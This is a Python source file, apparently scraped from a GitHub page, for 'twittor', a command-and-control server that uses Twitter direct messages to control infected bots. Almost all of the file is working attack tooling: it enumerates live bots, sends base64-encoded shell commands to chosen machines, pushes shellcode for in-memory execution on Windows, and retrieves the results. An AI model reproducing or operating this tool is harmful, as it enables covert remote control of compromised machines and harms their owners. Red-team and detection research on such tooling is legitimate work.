-
Notifications
You must be signed in to change notification settings - Fork 215
/
twittor.py
206 lines (160 loc) · 5.49 KB
/
twittor.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
import tweepy
import base64
import json
import random
import string
import time
import sys
CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXX'
BOTS_ALIVE = []
COMMANDS = []
api = None
#
# Exception for Twittor
#
class TwittorException(Exception):
"""
Base exception
"""
def __init__(self, message, errors):
Exception.__init__(self, message)
self.errors = errors
class DecodingException(TwittorException):
"""
Exception when trying to decode a CommandOutput
"""
#
# Class to build Command to send
#
class CommandOutput:
def __init__(self, message):
try:
data = json.loads(base64.b64decode(message))
self.data = data
self.sender = data['sender']
self.receiver = data['receiver']
self.output = data['output']
self.cmd = data['cmd']
self.jobid = data['jobid']
except:
raise DecodingException('Error decoding message: %s' % message)
def get_jobid(self):
return self.jobid
def get_sender(self):
return self.sender
def get_receiver(self):
return self.receiver
def get_cmd(self):
return self.cmd
def get_output(self):
return self.output
#
# Class to send commands
#
class CommandToSend:
def __init__(self, sender, receiver, cmd):
self.sender = sender
self.receiver = receiver
self.cmd = cmd
self.jobid = ''.join(random.sample(string.ascii_letters + string.digits, 7))
def build(self):
cmd = {'sender': self.sender,
'receiver': self.receiver,
'cmd': self.cmd,
'jobid': self.jobid}
return base64.b64encode(json.dumps(cmd))
def get_jobid(self):
return self.jobid
def refresh(refresh_bots=True):
global BOTS_ALIVE
global COMMANDS
if refresh_bots:
BOTS_ALIVE = []
print '[+] Sending command to retrieve alive bots'
cmd = CommandToSend('master', 'w00tw00tw00t', 'PING')
jobid = cmd.get_jobid()
api.send_direct_message(user=USERNAME, text=cmd.build())
print '[+] Sleeping 10 secs to wait for bots'
time.sleep(10)
for message in api.direct_messages(count=200, full_text="true"):
if (message.sender_screen_name == USERNAME):
try:
message = CommandOutput(message.text)
if refresh_bots and message.get_jobid() == jobid:
BOTS_ALIVE.append(message)
else:
COMMANDS.append(message)
except:
pass
if refresh_bots:
list_bots()
def list_bots():
if (len(BOTS_ALIVE) == 0):
print "[-] No bots alive"
return
for bot in BOTS_ALIVE:
print "%s: %s" % (bot.get_sender(), bot.get_output())
def list_commands():
if (len(COMMANDS) == 0):
print "[-] No commands loaded"
return
for command in COMMANDS:
print "%s: '%s' on %s" % (command.get_jobid(), command.get_cmd(), command.get_sender())
def retrieve_command(id_command):
# retrieve command ouputs but don't refresh bot list
refresh(False)
for command in COMMANDS:
if (command.get_jobid() == id_command):
print "%s: %s" % (command.get_jobid(), command.get_output())
return
print "[-] Did not manage to retrieve the output"
def help():
print """
refresh - refresh C&C control
list_bots - list active bots
list_commands - list executed commands
!retrieve <jobid> - retrieve jobid command
!cmd <MAC ADDRESS> command - execute the command on the bot
!shellcode <MAC ADDRESS> shellcode - load and execute shellcode in memory (Windows only)
help - print this usage
exit - exit the client
"""
def main():
global api
auth = tweepy.OAuthHandler(CONSUMER_TOKEN, CONSUMER_SECRET)
auth.set_access_token(ACCESS_TOKEN, ACCESS_TOKEN_SECRET)
# Construct the API instance
api = tweepy.API(auth)
refresh()
while True:
cmd_to_launch = raw_input('$ ')
if (cmd_to_launch == 'refresh'):
refresh()
elif (cmd_to_launch == 'list_bots'):
list_bots()
elif (cmd_to_launch == 'list_commands'):
list_commands()
elif (cmd_to_launch == 'help'):
help()
elif (cmd_to_launch == 'exit'):
sys.exit(0)
else:
cmd_to_launch = cmd_to_launch.split(' ')
if (cmd_to_launch[0] == "!cmd"):
cmd = CommandToSend('master', cmd_to_launch[1], ' '.join(cmd_to_launch[2:]))
api.send_direct_message(user=USERNAME, text=cmd.build())
print '[+] Sent command "%s" with jobid: %s' % (' '.join(cmd_to_launch[2:]), cmd.get_jobid())
elif (cmd_to_launch[0] == "!shellcode"):
cmd = CommandToSend('master', cmd_to_launch[1], 'shellcode %s' % base64.b64encode(cmd_to_launch[2]))
api.send_direct_message(user=USERNAME, text=cmd.build())
print '[+] Sent shellcode with jobid: %s' % (cmd.get_jobid())
elif (cmd_to_launch[0] == "!retrieve"):
retrieve_command(cmd_to_launch[1])
else:
print "[!] Unrecognized command"
if __name__ == '__main__':
main()